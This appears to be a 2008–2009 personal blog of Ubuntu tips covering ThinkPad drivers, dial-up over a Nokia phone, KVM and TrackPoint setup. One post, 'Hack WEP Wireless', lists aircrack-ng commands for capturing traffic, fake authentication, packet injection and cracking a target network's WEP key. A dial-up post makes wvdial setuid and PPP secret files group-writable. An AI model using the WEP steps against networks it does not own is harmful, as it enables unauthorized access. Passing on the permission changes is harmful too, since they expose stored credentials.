Sunday, June 07, 2009

How to Convert CloneCD Image to ISO

Install:
sudo apt-get install ccd2iso

Command:
ccd2iso image.img image.iso

Wednesday, April 29, 2009

How to Active HDAPS (Active Protection System) for IBM Thinkpad in Jaunty Jackalope

1. Open Synaptic and install tp-smapi-source.
2. open terminal, cd usr/src
3. sudo module-assistant build tp-smapi
4. sudo module-assistant install tp-smapi
5. sudo rm /lib/modules/`uname -r`/kernel/ubuntu/misc/thinkpad_ec.ko
6. sudo rm /lib/modules/`uname -r`/kernel/ubuntu/misc/tp_smapi.ko
7. sudo rm /lib/modules/`uname -r`/kernel/drivers/hwmon/hdaps.ko
8. sudo /sbin/depmod
9. sudo gedit /etc/modules and add thinkpad_ec, tp_smapi, and hdaps

you can install hdaps-utils from synaptic and try hdaps-gl to test it.

Source: http://elf.org/x200-tablet-accelerometer

Friday, December 26, 2008

How to Fix Firefox Offline Mode After Running wvdial

Open Terminal, run:

sudo gedit /etc/dbus-1/system.d/NetworkManager.conf

Find the first three of this line:

<allow send_interface="org.freedesktop.NetworkManager"/>

and change to 'deny'.

VLC Video Flickering on Ubuntu Intrepid

To solve video playback flickering on Ubuntu Intrepid with Compiz turned on: run VLC, select Tools -> Preferences -> Video -> Output, and choose 'X11 video output'.

Tuesday, December 02, 2008

How to Connect to IndosatM2 Broom From Ubuntu and Nokia E61 Using Bluetooth

  1. edit /etc/bluetooth/hcid.conf, and in options section, set 'security auto' and 'passkey "1234"
  2. initiate pairing from E61 and enter the passkey used in step 1
  3. set E61 discoverable and run from terminal: hcitool scan to find E61's MAC Address
  4. find channel for dial-up: sdptool browse [MAC Address]
  5. edit /etc/bluetooth/rfcomm.conf and enter:
    rfcomm0 {
    bind yes;
    device [MAC Address];
    channel [channel];
    comment "My Bluetooth";
    }
  6. sudo /etc/init.d/bluetooth restart
  7. if you want to check the bluetooth device, run: rfcomm
  8. edit /etc/wvdial.conf and change the modem to: /dev/rfcomm0

How to Connect to IndosatM2 Broom From Ubuntu and Nokia E61

Edit /etc/wvdial.conf and add these lines below:

[Dialer broom]
Modem = /dev/ttyACM0
Baud = 3600000
Init1 = ATZ
Init2 = ATQ0 V1 E1 S0=0 &C1 &D2
Init3 = AT+CGDCONT=1,"IP","indosatm2"
Area Code =
Phone = *99#
Username = username
Password = password
Ask Password = 0
Dial Command = ATDT
Stupid Mode = 1
Compuserve = 0
Force Address =
Idle Seconds = 0
DialMessage1 =
DialMessage2 =
ISDN = 0
Auto DNS = 1

To allow unprivileged user to dial:
1. sudo groupadd dialup;
2. sudo chgrp dialup /dev/ttyACM0
3. sudo chmod g+w /dev/ttyACM0
4. sudo chgrp dialup /etc/ppp/pap-secrets
5. sudo chgrp dialup /etc/ppp/chap-secrets
6. sudo chmod g+w /etc/ppp/pap-secrets
7. sudo chmod g+w /etc/ppp/chap-secrets
8. sudo chgrp dialup /etc/wvdial.conf
9. sudo chmod g+w /etc/wvdial.conf
10. Add user to dialup group in /etc/group

For Ubuntu Jaunty Jackalope:
11. sudo chmod u+s /usr/bin/wvdial

Sunday, November 23, 2008

Hack WEP Wireless

  1. Install aircrack:
    sudo apt-get install aircrack-ng
  2. Activate monitoring modus:
    sudo airmon-ng start wlan0 [channel]
  3. Do the scanning:
    sudo airodump-ng -c [channel] --bssid [mac_address_target] -w output wlan0
  4. Do fake authentification:
    sudo aireplay-ng -1 30 -e [ssid] -a [mac_address_target] -h [mac_address] wlan0
  5. To speed up packet gathering:
    sudo aireplay-ng -3 -b [mac_address_target] -h [mac_address] -x 900 wlan0
  6. To get the key:
    sudo aircrack-ng -z -b [mac_address_target] output*.cap

Wednesday, November 19, 2008

Installing KVM in Ubuntu 7.10 (Gutsy Gibbon)

First, Install kvm and qemu:

sudo apt-get install qemu kvm
sudo modprobe kvm-intel (for Intel processors)
or
sudo modprobe kvm-amd (for AMD processors)

Create image which will contain the OS:

qemu-img create os_image.img -f qcow2 6G

Do OS installation:

kvm -m 512 -cdrom /home/user/other_os.iso -boot d os_image.img

To run the OS:

kvm -no-acpi -m 512 -localtime -cdrom /dev/cdrom os_image.img

SOURCE:
http://www.michaeldolan.com/1030
http://www.howtoforge.com/using-kvm-on-ubuntu-gutsy-gibbon

How to Activate tp_smapi in Ubuntu 8.10 (Intrepid Ibex) for Thinkpad T61

Install these packages: tp-smapi-source, hdaps, hdaps-utils

Then follow instruction in /usr/share/doc/ for tp_smapi.

Activate the module:
sudo echo "tp_smapi" >> /etc/modules
sudo echo "hdaps" >> /etc/modules
sudo update-initramfs -u

To set charging parameters:
sudo -s
echo 35 > /sys/devices/platform/smapi/BAT0/start_charge_thresh
echo 75 > /sys/devices/platform/smapi/BAT0/stop_charge_thresh

Further reference:
http://www.thinkwiki.org/wiki/Tp_smapi

Saturday, November 15, 2008

How to Activate TrackPoint Thinkpad T61 in Ubuntu 8.10

Create file /etc/hal/fdi/policy/mouse-wheel.fdi with content:

<match key="info.product" string="TPPS/2 IBM TrackPoint">
<merge key="input.x11_options.EmulateWheel" type="string">true</merge>
<merge key="input.x11_options.EmulateWheelButton" type="string">2</merge>
<merge key="input.x11_options.XAxisMapping" type="string">6 7</merge>
<merge key="input.x11_options.YAxisMapping" type="string">4 5</merge>
<merge key="input.x11_options.ZAxsisMapping" type="string">4 5</merge>
<merge key="input.x11_options.Emulate3Buttons" type="string">true</merge>
</match>
then restart.

To activate point-to-select, follow this instruction:
http://tpctl.sourceforge.net/configure-trackpoint.html

SOURCE:
http://psung.blogspot.com/2008/09/scrolling-with-thinkpads-trackpoint-in.html